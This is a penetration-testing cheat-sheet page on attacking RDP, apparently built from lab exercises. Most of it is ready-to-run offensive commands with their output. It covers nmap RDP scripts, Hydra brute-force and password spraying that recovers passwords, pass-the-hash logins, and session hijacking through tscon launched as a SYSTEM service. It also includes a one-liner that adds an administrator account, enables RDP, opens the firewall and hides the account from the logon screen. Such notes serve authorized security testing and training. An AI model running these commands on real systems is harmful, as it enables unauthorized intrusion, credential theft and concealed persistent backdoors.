> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/protocols/rdp-3389.md). # RDP (3389) [![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA) ## Nmap ```shell-session nmap -sV -sC 10.129.201.248 -p3389 --script rdp* ``` ``` [Apr 06, 2024 - 07:23:48 (EDT)] exegol-CPTS /workspace # locate -r nse$|grep rdp /usr/share/nmap/scripts/rdp-enum-encryption.nse /usr/share/nmap/scripts/rdp-ntlm-info.nse /usr/share/nmap/scripts/rdp-vuln-ms12-020.nse ``` ## RDP Security check ```shell-session $ sudo cpan $ git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check $ ./rdp-sec-check.pl 10.129.201.248 Starting rdp-sec-check v0.9-beta ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Sun Nov 7 16:50:32 2021 [+] Scanning 1 hosts Target: 10.129.201.248 IP: 10.129.201.248 Port: 3389 [+] Checking supported protocols [-] Checking if RDP Security (PROTOCOL_RDP) is supported...Not supported - HYBRID_REQUIRED_BY_SERVER [-] Checking if TLS Security (PROTOCOL_SSL) is supported...Not supported - HYBRID_REQUIRED_BY_SERVER [-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...Supported [+] Checking RDP Security Layer [-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_NONE...Not supported [-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_40BIT...Not supported [-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_128BIT...Not supported [-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_56BIT...Not supported [-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_FIPS...Not supported [+] Summary of protocol support [-] 10.129.201.248:3389 supports PROTOCOL_SSL : FALSE [-] 10.129.201.248:3389 supports PROTOCOL_HYBRID: TRUE [-] 10.129.201.248:3389 supports PROTOCOL_RDP : FALSE [+] Summary of RDP encryption support [-] 10.129.201.248:3389 supports ENCRYPTION_METHOD_NONE : FALSE [-] 10.129.201.248:3389 supports ENCRYPTION_METHOD_40BIT : FALSE [-] 10.129.201.248:3389 supports ENCRYPTION_METHOD_128BIT : FALSE [-] 10.129.201.248:3389 supports ENCRYPTION_METHOD_56BIT : FALSE [-] 10.129.201.248:3389 supports ENCRYPTION_METHOD_FIPS : FALSE [+] Summary of security issues rdp-sec-check v0.9-beta completed at Sun Nov 7 16:50:33 2021 ``` ## RDP Session ``` xfreerdp /u:[username] /p:[password] /v:[IP] /dynamic-resolution xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:Administrator /p:'TryH4ckM3!' /dynamic-resolution : Auto resize the window ``` ```shell-session xfreerdp /u:cry0l1t3 /p:"P455w0rd!" /v:10.129.201.248 ``` ``` xfreerdp /v:[IP] /u:[USERNAME] /p:'[PASSWORD]' /dynamic-resolution /drive:linux,/tmp ``` ```shell-session rdesktop -u admin -p password123 192.168.2.143 ``` Or Remmina ``` sudo apt-add-repository ppa:remmina-ppa-team/remmina-next sudo apt update sudo apt install remmina remmina-plugin-rdp remmina-plugin-secret ``` {% embed url="" %} ### Old Server #### Server 2008 ``` [ERROR][com.freerdp.core] - transport_connect_tls:freerdp_set_last_error_ex ERRCONNECT_TLS_CONNECT_FAILED [0x00020008] ``` Try adding `/tls-seclevel:0` Or Use rdesktop instead of xfreerdp or remmina
#### Server 2012 R2 Add `/tls-seclevel:0` ``` xfreerdp /v:172.16.1.X /u:xxxxadmin /pth:649f6xxxxxxxxxx61f9684a /tls-seclevel:0 ``` ## Brute force {% content-ref url="/pages/QaQNgXsLhQPpCnJiYZ9A" %} [RDP Bruteforce](/0xss0rz/pentest/brute-force/rdp-bruteforce.md) {% endcontent-ref %} ```shell-session $ hydra -L user.list -P password.list rdp://10.129.42.197 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:05:40 [WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover [INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections) [WARNING] the rdp module is experimental. Please test, report - and if possible, fix. [DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task [DATA] attacking rdp://10.129.42.197:3389/ [3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: mrb3n password: rockstar, continuing attacking the account. [3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: cry0l1t3 password: delta, continuing attacking the account. [3389][rdp] host: 10.129.42.197 login: user password: password 1 of 1 target successfully completed, 1 valid password found ``` ### Password spraying ```shell-session hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` ## **RDP Session Hijacking** {% hint style="danger" %} *This method no longer works on Server 2019* {% endhint %} `juurena` (UserID = 2) `Administrator` privileges. Our goal is to hijack the user `lewen` (User ID = 4)
To successfully impersonate a user without their password, we need to have `SYSTEM` privileges and use the Microsoft [tscon.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tscon) binary that enables users to connect to another desktop session. It works by specifying which `SESSION ID` (`4` for the `lewen` session in our example) we would like to connect to which session name (`rdp-tcp#13`, which is our current session) ```cmd-session C:\htb> tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME} ``` ```cmd-session C:\htb> query user USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME >juurena rdp-tcp#13 1 Active 7 8/25/2021 1:23 AM lewen rdp-tcp#14 2 Active * 8/25/2021 1:28 AM C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13" [SC] CreateService SUCCESS ``` ```cmd-session C:\htb> net start sessionhijack ``` Once the service is started, a new terminal with the `lewen` user session will appear ### SharpRDPHijack {% embed url="" %} ## Pass the Hash (PtH) {% content-ref url="/pages/2nk7AOHO745kf6QdjHnB" %} [Pass the Hash (PtH)](/0xss0rz/pentest/post-exploitation/lateral-movement/pass-the-hash-pth.md) {% endcontent-ref %} ## Enable RDP {% hint style="warning" %} *With a local Admin account* {% endhint %} cmd ``` net user /add (Username) (Password) && net localgroup administrators (Username) /add & net localgroup "Remote Desktop Users" (Username) /add & netsh advfirewall firewall set rule group="remote desktop" new enable=Yes & reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v (Username) /t REG_DWORD /d 0 & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSEnabled /t REG_DWORD /d 1 /f & sc config TermService start= auto ``` {% embed url="" %} powershell {% embed url="" %} ``` *Evil-WinRM* PS C:\Users\Administrator\Documents> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\' -Name "fDenyTSConnections" -Value 0 *Evil-WinRM* PS C:\Users\Administrator\Documents> Enable-NetFirewallRule -DisplayGroup "Remote Desktop" *Evil-WinRM* PS C:\Users\Administrator\Documents> Get-Service -Name TermService Status Name DisplayName ------ ---- ----------- Running TermService Remote Desktop Services *Evil-WinRM* PS C:\Users\Administrator\Documents> Add-LocalGroupMember -Group "Remote Desktop Users" -Member "domain.local\username" *Evil-WinRM* PS C:\Users\Administrator\Documents> ``` ## Resources {% embed url="" %} {% embed url="" %} {% embed url="" %} ## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp) [**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)
## Interesting Books {% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %} [Interesting Books](/0xss0rz/interesting-books.md) {% endcontent-ref %} {% hint style="info" %} **Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you. {% endhint %} * [**Nmap Network Scanning**](https://www.amazon.fr/dp/0979958717?tag=0xss0rz-21)\ The official guide to the Nmap Security Scanner, a free and open source utility used by millions of people for network discovery, administration, and security auditing. From explaining port scanning basics for novices to detailing low-level packet crafting methods used by advanced hackers, this book by Nmap's original author suits all levels of security and networking professionals. * [**The Art of Network Penetration Testing**](https://www.amazon.fr/dp/1617296821)\ A guide to simulating an internal security breach. You’ll take on the role of the attacker and work through every stage of a professional pentest, from information gathering to seizing control of a system and owning the network. * [**Network Basics for Hackers**](https://www.amazon.fr/dp/B0BS3GZ1R9)\ The book offers one of the most complete and in-depth analyses of Wi-Fi and Bluetooth networks, then progresses through the various protocols such as DNS, ARP, SMTP, and others. ## Support this Gitbook I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it. [![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA) [![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)